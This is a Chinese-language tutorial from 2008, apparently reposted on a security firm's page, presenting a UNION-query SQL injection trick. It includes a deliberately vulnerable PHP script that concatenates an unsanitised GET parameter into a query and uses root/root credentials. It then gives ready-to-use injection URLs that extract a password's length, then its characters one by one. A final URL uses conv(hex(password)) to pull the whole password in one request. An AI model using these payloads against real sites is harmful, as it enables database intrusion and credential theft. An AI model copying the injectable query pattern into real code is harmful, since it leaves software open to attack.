阅读全部内容

Union查询小技巧

  [字体: ]


Union查询小技巧

相信大家在注入中没有少用联合查询吧,呵呵。的确union查询是很方便的,不用一个字符接一个字符的猜了,大大提高了生厂力,然而又因为它的条件要求很多时候并不能完全满足,每每那个时候就只有看着注入点,嚎吼一声,带着满脸悲愤开始使用最原始的方法。当然,条件不允许我们也没有办法,然而有些时候却是自己的马虎导致高效率的联合查询方法不被采用,这可不符合“三代表”中的“代表最先进的生产力”啊。以下要说到的就可能是其中一种情况。^_^(相信很多朋友都已经知道了,只是我在网上没有看到吧,这儿提出来且当自己消遣自己,扯淡为主)

mysql> select * from test; +------+----------+----------+ | id   | username | password | +------+----------+----------+ |    1 | admin    | admin888 | +------+----------+----------+ 1 row in set (0.03 sec)
mysql> select * from test;<br/>+------+----------+----------+<br/>| id   | username | password |<br/>+------+----------+----------+<br/>|    1 | admin    | admin888 |<br/>+------+----------+----------+<br/>1 row in set (0.03 sec)
test.php:

<?    $id=$_GET['id'];    $lnk = mysql_connect('localhost', 'root', 'root') or die ('Not connected : ' . mysql_error());    mysql_select_db('test', $lnk) or die ('Can\'t use foo : ' . mysql_error());    $query = "SELECT count(*) FROM test where id=$id";    $result = mysql_query($query);    while($result_row = mysql_fetch_row($result))    {        if(($result_row[0])&&is_numeric($result_row[0])){             echo $result_row[0];        }    }    ?>  
<?   <br/>$id=$_GET['id'];   <br/>$lnk = mysql_connect('localhost', 'root', 'root') or die ('Not connected : ' . mysql_error());   <br/>mysql_select_db('test', $lnk) or die ('Can\'t use foo : ' . mysql_error());   <br/>$query = "SELECT count(*) FROM test where id=$id";   <br/>$result = mysql_query($query);   <br/>while($result_row = mysql_fetch_row($result))   <br/>{   <br/>    if(($result_row[0])&&is_numeric($result_row[0])){   <br/>         echo $result_row[0];   <br/>    }   <br/>}   <br/>?>  
大家都知道在联合查询中不但前后列数要相等,类型也要一样。那么在这个注入点中,前一查询返回值类型应该是数字型,而我们要想用联合查询得到类型为text的password,应该怎么办呢?
其实我们可以先查出密码长度:

http://www.hacker.com/test.php?id=1%20and%201=2%20union%20select%20length(password)%20from%20test%23

返回结果为8。OK,再来:

http://www.hacker.com/test.php?id=1%20and%201=2%20union%20select%20ascii(mid(password,1,1))%20from%20test

返回的结果为password的第一位的ASCII码值,接下来将每一位都查出来就OK了。
然而其实我们有更方便的方法,嘿嘿,一次查询就够了。
我们提交:

http://www.hacker.com/test.php?id=1%20and%201=2%20union%20select%20conv(hex(password),16,10)%20from%20test

返回7017854418938247224。转换为16进制为0x61646D696E383838,它就是“admin888”的十六制咯。哈,原理就不说了,相信大家都“昂第二是蛋的”了。
测试中不用conv函数转换一下类型会不匹配,汗,不知嘛原因。



日期:2008年07月

【 hits:】 【 评论 】 【 推荐 】 【 打印
上一篇:Vista应对网络执法官及ARP欺骗攻击
下一篇:SQL注射修改难猜解的MD5
相关新闻      
为什么选择连天科技
河南连天科技有限公司 ( LianTian Technology Co.,Ltd. ),是国内从事网络安全的高科技企业之一。
连天科技是Radware、Mirage、绿盟、AVENTAIL、Sonicwall、比蒙等国际国内知名厂商的河南区域战略合作伙伴,我们本着“专业、专注、全心、全程”的服务理念为客户提供全面的信息安全解决方案,协助客户建立安全可靠的运营环境。